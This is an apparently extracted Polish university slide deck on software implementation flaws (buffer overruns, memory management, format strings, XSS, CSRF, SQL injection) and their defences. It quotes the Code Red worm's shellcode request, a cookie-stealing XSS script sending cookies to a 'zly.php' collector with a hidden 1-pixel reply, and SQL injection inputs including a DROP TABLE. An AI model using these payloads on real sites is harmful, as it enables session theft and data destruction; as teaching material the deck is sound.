Błędy implementacji oprogramowania

Błędy implementacji oprogramowania

Przemysław Targalski, Krzysztof Szcześniak

Błędy implementacji oprogramowania

Błędy implementacji oprogramowania, to takie które popełnia nieświadomie programista, a z którymi skutkami musi najczęściej zmierzyć się administrator.

Rodzaje błędów implementacji

• Buffer Overrun (przepełnienie bufora)• Nieprawidłowe zarządzanie pamięcią• Nieprawidłowa obróbka danych

uzyskanych od użytkownika:– Format Strings w C (Ciągi formatujące)– Błędy aplikacji WWW

• XSS• CSRF• SQL Injection

Buffer overrun

• buffer overrun - błędy polegające na kontrolowanym nadpisywaniu przestrzeni adresowej procesu (np. stosu lub sterty) danymi, mogącymi zmienić przebieg wykonania procesu, np. poprzez modyfikację adresu powrotu funkcji lub wskaźnika do innej funkcji.

Buffer overrun

• Wpisywanie większej ilości danych niż jest w stanie przechować bufor

• Off-by-one error – wpisanie wartości pod n-tym indeksem w n-elementowej tablicy

• Najbardziej narażone języki – C, C++

• Bezpieczne języki – Java, C#

Buffer overrun

• Stack-based Overflows ( stack smashing ) – nadpisywanie danych na stosie

• Heap-based Overflows – nadpisywanie danych na stercie

Stack-based Overflows

• void overflow_function (char *str) { char buffer[20];

strcpy(buffer, str);

}

Stack-based Overflows

• Jeżeli bufor jest dostatecznie duży można go zapełnić złośliwym kodem, a do adresu powrotu wpisać adres tego bufora.

Stack-based Overflows

• strcpy( char* dest, const char* src ); • strcat( char* dest, const char* src );

Obie funkcje zakładają że bufor dest ma wystarczający rozmiar aby zmieścić kopiowane dane.

• sprintf()

char buffer[512];sprintf(buffer, "Wrong command: %s\n", user);

Stack-based Overflows

• Rozwiązanie (1) – dynamiczna alokacja pamięci:

dest = (char *)malloc(strlen(source) + 1);

if (dest) { strcpy(dest, source); }

else { /* Błąd alokacji pamięci */ … }

• Rozwiązanie (2) – bezpieczne odpowiedniki:

strcpy_s( char*dest, size_t sizeInBytes, const char* source);

strcat_s( char*dest, size_t sizeInBytes, const char* source);

Stack-based Overflows

• gets(char* buffer); - pobiera dane ze standardowego wejścia.

• Bezpieczne odpowiedniki:

gets_s(buffer, sizeof(buffer));

fgets (buffer, sizeof(buffer), stdin);

Stack-based Overflows

Sposoby ochrony:• Non-Executable Stacks• Address space layout randomization • Runtime Bounds Checkers • Canaries • StackGuard• Stack Smashing Protector (ProPolice)

• Libsafe and LibVerify

Non-Executable Stacks

• Zakaz wykonywania instrukcji znajdujących się na stosie lub stercie.

• Blokada wykonywania istnieje od procesora 80286 na poziomie segmentów jednak nie przyjęła się.

• Bity NX ("No eXecute„ - AMD) lub XD ("eXecute Disabled„ - Intel) – blokada na poziomie stron pamięci.

Używane dopiero w Windows XP sp2 (Data Execution Prevention )

Exec Shield – patch dla linuxa• Nie uchroni przed atakami korzystającymi z bibliotek

systemowych np „return-to-libc attack”

Address space layout randomization

• Losowy rozkład przestrzeni adresowej

• Dostarcza środków do wprowadzenia losowości do schematu adresowania wszystkich danych, które są ładowane do pamięci.

Runtime Bounds Checkers

• C++ standardowo nie posiada takiej możliwości

• DevPartner for Visual C++

Canaries

• „Kanarki” – pewne informacje dodane pomiędzy buforem a ważnymi danymi np. adresem powrotu – jeżeli zostaną zmienione wiemy, że nastąpiło przepełnienie bufora.

• Terminator canaries • Random canaries

• Random XOR canaries

Canaries

StackGuard

• Dodatek do kompilatora gcc 3.x

• Dodaje własny kod do każdej funkcji

• Używa „kanarka” obok adresu powrotu funkcji

• Przed powrotem z funkcji sprawdza poprawność „kanarka”

Stack Smashing Protector (ProPolice)

• Dodatek do gcc 3.x

• Stworzony przez IBM, oparty na StackGuard

• Używany w m.in. w OpenBSD

• Możliwość użycia w gentoo po dopisaniu „hardened” do USE flags

Libsafe and LibVerify

• Biblioteka wykrywająca przepełniania buforów w programach. Jest dołączana w sposób dynamiczny – nie trzeba nic rekompilować.

• Przechwytuje wywołania niebezpiecznych funkcji (strcpy() itp.) i sprawdza czy nie nastąpiło przepełnienie, jeśli nastąpiło aplikacja jest zabijana.

Heap-based Overflows

• Trudniejsze do wykrycia

• Zależą od rodzaju danych zapisanych w pamięci

• Podmiana informacji takich jak uprawnienia użytkownika lub ścieżki dostępu do pliku.

Heap-based Overflows

• #include <stdio.h> • #include <stdlib.h>

int main(int argc, char *argv[]) { FILE *fd; // Allocating memory on the heap char *userinput = malloc(20); char *outputfile = malloc(20); strcpy(outputfile, "/tmp/notes"); strcpy(userinput, argv[1]); fd = fopen(outputfile, "a"); if (fd == NULL) {

fprintf(stderr, "error opening %s\n", outputfile); exit(1); } fprintf(fd, "%s\n", userinput); fclose(fd); return 0;

}

Heap-based Overflows

Sposoby ochrony:

• DieHard

• Electric fence

DieHard

• Praktycznie eliminuje możliwość przepełnienia bufora na stercie.

• Alokuje obiekty losowo w pamięci, zdala od siebie

• Eliminuje błędy związane z podwójną dealokacją tego samego obszaru pamięci.

Electric fence

• Biblioteka która po podlinkowaniu do programu przejmuje kontrolę nad zarządzaniem pamięcią.

• Eliminuje możliwość nadpisania jednego bufora innym.

• Każdy bufor jest alokowany na innej stronie. Wyjście poza bufor automatycznie zabija aplikację.

Buffer overrun

• Niewykorzystane dziury

Microsoft Security Bulletin MS04-028

Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution (833987)

Microsoft Security Bulletin MS03-023

Buffer Overrun In HTML Converter Could Allow Code Execution (823559)

Buffer overrun

• Code Red – robak infekujący IIS

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNN

NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN

NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN

NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN

NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN

NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN

NNNNNNNNNNNNNNNNNNN

%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801

%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3

%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0

Buffer overrun

• Blaster (2003)– wykorzystał dziurę w DCOM RCP – powodował restart komputera po ok. 60 sekundach od połączenia z Internetem.

• Sasser (2004) – dziura w Local Security Authority Subsystem Service – losowe restarty komputera.

Format Strings w C

• Częsty błąd przy wyświetlaniu tekstu gdy nie trzeba go formatować:

char tekst[100];

fgets (tekst, sizeof(tekst), stdin);

tekst[sizeof(tekst)-1]=‘\0’;

printf(tekst); // źle

printf(”%s”,tekst); //dobrze

Format Strings w C

• Czy aby na pewno printf() tylko wyświetla?• %s – wyświetlanie łańcucha danych• %n – zapis ilości wypisanych do tej pory

znaków pod wskazany adres w pamięci.• %d – wyświetlanie liczby całkowitej• %20d – wyświetlanie liczby całkowitej i

ustawienie szerokości na 20 znaków (co pozwala dowolnie modyfikować ilość wyświetlonych znaków)

Zarządzanie pamięcią

1. Alokacja pamięci na typ/obiekt reprezentujący dany zasób

2. Inicjalizacja obiektu reprezentującego zasób - doprowadzenie go do stanu gotowości do użycia (utworzenie połączenia sieciowego, otwarcie pliku, wypełnienie buforów itp.)

3. Użycie (być może wielokrotne) zasobu reprezentowanego przez obiekt.

4. Zakończenie wykorzystania zasobu (zamknięcie połączenia sieciowego, zamknięcie pliku, opróżnienie buforów itp.)

5. Zwolnienie pamięci przydzielonej na obiekt reprezentujący zasób.

Zarządzanie pamięcią C/C++ kontra Java/.Net

• C/C++ samodzielne wykonanie wszystkich powyższych czynności

• Java/.Net zwalnia z części tych punktów:1. Automatyczna alokacja pamięci (punkt 1)

2. Automatyczne oczyszczanie z niepotrzebnych obiektów(5)

3. Wiele typów zasobów nie wymaga żadnych dodatkowych zabiegów związanych z ich zwalnianiem(4)

Alokacja pamięci a typy

• Typy bezpośrednie (dziedziczą po System.ValueType), alokowane są na stosie, a zwalnianie pamięci odbywa się automatycznie

• Typy referencyjne (dziedziczą po System.Object ), alokowane są na stercie. W momencie uruchomienia tworzony jest wskaźnik alokacji (AllocPnt), pokazujący na adres w pamięci, pod którym zostanie utworzony następny obiekt.

Sterta

Kiedy wywołujemy operator new :1. Sprawdzana jest wolna przestrzeń na

stercie2. jeśli nie ma wystarczająco dużo miejsca -

obszar sterty jest powiększany lub wykonywane jest jego porządkowanie - o tym w dalszej części artykułu

3. jeśli wolny obszar sterty jest odpowiednio duży, środowisko uruchomieniowe wywołuje konstruktor klasy tworzonego obiektu, a operator new zwraca obiekt nowo utworzonego obiektu (równy aktualnej wartości AllocPnt)

4. wartość wskaźnika AllocPnt zwiększana jest o wielkość pamięci przydzieloną nowo utworzonemu obiektowi

Sterta c.d.

Po utworzeniu kilku obiektów sterta mogłaby wyglądać tak:

W przypadku braku miejsca a czyszczenie i powiększanie pamięci nie daje rezultatów otrzymujemy wyjątek OutOfMemoryException.

Alokacja pamięci w C/C++

• Wolne obszary stery zapisywane są pod postacią listy wolnych obszarów

• Kosztowna alokacja nowych bloków1. wymaga przejrzenia listy wolnych bloków

2. znalezienia bloku o odpowiedniej wielkości

3. zmodyfikowania listy wolnych bloków tak, aby uwzględniała nowo zajęty obszar pamięci.

Alokacja pamięci .Net

• Prostsza i szybsza niż w C/C++ gdyż wymaga jedynie inkrementacji jednego wskaźnika o odpowiednią wartość

• Otrzymujemy porównywalną szybkość alokacji pamięci na stosie jak i na stercie

C/C++ błędy

• Główny problem tzw. przeciek pamięci :– Spowodowany niezwalnianiem alokowanego

obszaru– Samodzielne zwalnianie obiektu, dłużej nie

potrzebnego. Przeciek wtedy gdy zasoby są źle zwolnione, a referenecja do obiektu utracona.

– Brak mechanizmu garbage collector

Garbage Collector

• Szybkie zaśmiecenie pamięci. Za odśmiecanie odpowiada gc.

• GC zwalnia niepotrzebne obiekty• Nie zwalnia nie zarządzanych zasobów (np.

otwartych plików, połączeń sieciowych)

Finalizator klasy

• Instrukcje, jakie GC ma wykonać podczas tworzenia obiektu :

class TextClass

{

// finalizator klasy:

~TextClass()

{

//zwalnianie zasobów

}

}

Kłopoty z finalizacją

• Stworzenie obiektów z finalizatorami trwa dwa razy dłużej niż tworzenie obiektów zarządzanych (związane z wypełnieniem przez środowisko dodatkowych struktur)

• Wywołania finalizatora spowalnia proces porządkowania pamięci.

• Obiekty z finalizatorem zwalniane są później niż obiekty zarządzane –przedłuża sztucznie „życie” niepotrzebnych obiektów

• Nie ma gwarancji co do kolejności niszczenia obiektów

Kolejność niszczenia obiektów

Ręczna finalizacja

• W ogólności najlepiej unikać tworzenia klas, które wymagają finalizacji.

• Problem w przypadku klas korzystających z plików, bądź połączeń sieciowych

• Rozwiązanie: danie możliwości ręcznego zwolnienia zasobów.• W środowisku .Net odpowiadają za to dwie metody:

1. close() – wywołania zwalnia wszystkie zajęte zasoby (zamyka pliki, opróżnia bufory). Jest możliwość ponownego otwarcia pliku

2. dispose() - jej wykonanie na stałe odbiera możliwość pracy z obiektem. Wszystkie zajęte zasoby są zwalniane, a obiekt nie nadaje się już do wykorzystania.

Zarządzanie pamięcią - podsumowanie

• Napisanie programu w taki sposób, żeby nie próbował on czytać bądź zapisywać pamięci mu nie przydzielonej.

• Garbage Collector, któremu czasami trzeba „pomóc” w zwalnianiu zasobów.

• Skutki błędnego zarządzania :1. Może powodować błąd wykonania i natychmiastowe

zakończenie programu

2. Bardzo trudne do wykrycia błędy w systemach bez ochrony pamięci

Zarządzanie pamięcią – podsumowanie 2

• Wyższość Java/.Net nad C/C++1. Tworzymy obiekt w C/C++ operatorem new2. Potem zwalniamy jego pamięć operatorem delete3. Zatrzymujemy jednak odnośnik do tej pamięci4. Utworzony inny obiekt może otrzymać zwolnioną pamięć5. Program otrzymuje możliwość dostępu do tej samej

pamięci, bo postrzega ją jako dwa różne rodzaje obiektów6. Konsekwencja takiego działania: nieprzewidywalne

zachowanie się programu i powstanie trudnych do wykrycia błędów.

Każdy błąd systemu może być potencjalnie wykorzystany do włamania się!!!

WWW-XSS

• XSS (Cross Site Scripting ) nieświadome przekazywanie przez witryny internetowe złośliwego kodu.

• Atak składa się :1. przekazanie do aplikacji złośliwego kodu przez

napastnika;2. nieświadome pobranie od aplikacji złośliwego kodu

przez ofiarę; kod zostaje wykonany;3. dodatkowe akcje wykonywane przez atakującego.

XSS

• Atakujący łączy się z aplikacją po czym wysyła złośliwy kod :

<SCRIPT type="text/javascript"> alert('Złośliwy kod!'); </SCRIPT>

• Taki kod może być np. treścią listu na forum czy adresem email w polu nadawcy.

• Aplikacja odbiera kod i zapisuje go w bazie danych • Użytkownik po zalogowaniu wchodzi na stronę i

nieświadomie wyświetla jego zawartość. W wyniku wyświetlenia zostaje wykonany złośliwy kod JavaScript, który przekazuje pewne dane atakującemu.

Luki wykorzystywane przez XSS

• aplikacja wpuszcza złośliwy kod.• aplikacja wypuszcza złośliwy kod.• przeglądarka klienta wykonuje złośliwy kod.

Ataki CSRF

(ang. Cross Site Request Forgeries) wykorzystują mechanizm działania protokołu HTTP.

Różnica CSRF i XSS• Po stronie klienta

– XSS wykorzystuje JavaScript– CSRF wykorzystuje HTTP

CSRF

• <IMG src="ikona.png" alt="Ikona listy wypunktowanej"> , pobrany porzez zapytanie :

• GET ikona.png HTTP/1.1 • GET może odwoływać się do skryptu i przekazywać mu dodatkowe

dane GET skrypt.php?imie=Jan&wiek=43 HTTP/1.1 • Umieszczenie na stronie obrazu: <IMG src="skrypt.php?

imie=Jan&amp;wiek=43" alt="Ikona..."> wywołuje skrypt skrypt.php i umieszcza zmienne imie oraz wiek.

• Samo wyświetlanie strony WWW może wywołać nieświadome wykorzystanie różnych skryptów.

Luki wykorzystywane przez CSRF

• Wykorzystuje takie same luki jak XSS czyli :

1. aplikacja wpuszcza złośliwy kod.

2. aplikacja wypuszcza złośliwy kod.

3. przeglądarka klienta wykonuje złośliwy kod.

Przykłady ataków w praktyce

Ciasteczka(cookies) – mechanizm służący do przekazywania danych od serwera WWW do przeglądarki użytkownika

• Kradzież „ciasteczek” – mamy strone z „ciasteczkami”• Dostępne są one w przeglądarce w kodzie Java.Script• document – kod witryny, który zawiera pole cookie• SCRIPT type="text/javascript"> alert(document.cookie);

</SCRIPT> - wyświetla na ekranie „cookies” ale nie kradnie ich• Kradzież możliwa np. poprzez zapytanie HTTP generowane przez

IMG <IMG src="zly.php?ciasteczka=imie=Jan;wiek=15"> • Ogólnie kod wygląda następująco :

Przykłady ataków w praktyce c.d.

<SCRIPT type="text/javascript"> var adr = 'zly.php?ciasteczka=' +

escape(document.cookie); var obr = '<IMG src="' + adr + '">'; document.write(obr); </SCRIPT>

Oprócz tego przygotowujemy skrypt zly.php, który prześle ciasteczka do pliku ciasteczka.txt

Po zapisaniu ciasteczek do pliku musimy wysłać jakiś obrazek, jeżeli tego nie zrobimy możemy zdradzić swoją obecność, bo przeglądarka poinformuje, że obrazek nie został znaleziony lub pobrany. W tym celu możemy wysłać np. 1-piskelowy gif.

if (isset($_GET['ciasteczka'])) { writeDataFile(); }; $obraz = file_get_contents('1px-przezroczysty.gif'); header("Content-type: image/gif");

Przykłady ataków w praktyce c.d.

• Wówczas napastnik jest zamaskowany gdyż:1. Przeglądarka wysyła do zly.php ciasteczka

2. W odpowiedzi dostaje 1-piksleowy obrazek gif.

• Efekt – pobranie ciasteczek, i właściwie brak widocznych efektów wizualnych (co najwyżej niewielka zmiana układu strony).

Zabezpieczenia przed atakami XSS oraz CSRF

• Należy wyczyścić zarówno dane wpuszczane do bazy danych jak i wypuszczane z bazy danych do przeglądarki klienta.

• Szczególna uwaga na kod JavaScript i HTML.

• Dozwolone nieliczne znaczniki np.. P,BR, STRONG występujące np. w imieniu

WWW-SQL Injection

• Atak na aplikacje (warstwę danych) w celu wydobycia danych użytkowników (tych które mogą być pobrane przez system) i zakłócenia pracy aplikacji.

• Atak polega na „wstrzyknięciu” zapytanie SQL poprzez formę na stronę WWW.

• Przykład: wysyłanie loginu i/lub hasła. Można tak spreparować zapytanie by uzyskać inny niezamierzony przez projektanta aplikacji efekt.

Przykłady włamań 1

• Pominięcie autoryzacji :• Zakładając taki sposób logowania :“WHERE

login=‘Jacek’ AND password=’ala’”; wpiszemy:login=’ OR 1=1 –password=’’• Otrzymamy wówczas WHERE login= ‘’ OR 1=1 --’

AND password=’’”;• Alternatywa 1=1 jest zawsze prawdziwa –

otrzymujemy listę users.

Przykłady włamań 2

• Jeżeli obiekt „users” posiada więcej niż jeden rekord nie zostanie wyświetlona lista transakcji użytkownika (warunek pomyślnej autoryzacji)

• Możliwość wpisania :

login=’ OR ID = 1 –password=’’• Zwróci dokładnie jeden obiekt w users gdzie ID=1 (jeżeli

istnieje takie ID). Ograniczenia : możemy nie znać nazw kolumn ( w szczególności ID). Rozwiązanie – metoda prób i błędów. Jeszcze prościej jest w przypadku gdy niektóre serwisy wyświetlają kody błędów bazy danych (jaka tabela, jaka operacja, w której kolumnie był błąd).

Przykłady włamań 3

• Pozwala na usunięcie całej tabeli „users”

• Wystarczy w pole login wpisać :login:’; DROP TABLE users;

Zabezpieczenia przed SQL Injection

• Walidacja danych wprowadzanych przez użytkownika

• Ograniczenie długości wprowadzanych danych

• Obróbka danych użytkownika w skrypcie.• Parametryzowane wywołanie zapytań SQL• Wykorzystywanie procedur składowych bazy• Ograniczenie praw dostępu do bazy danych• Ograniczenie informacji o błędzie

prezentowanej użytkownikowi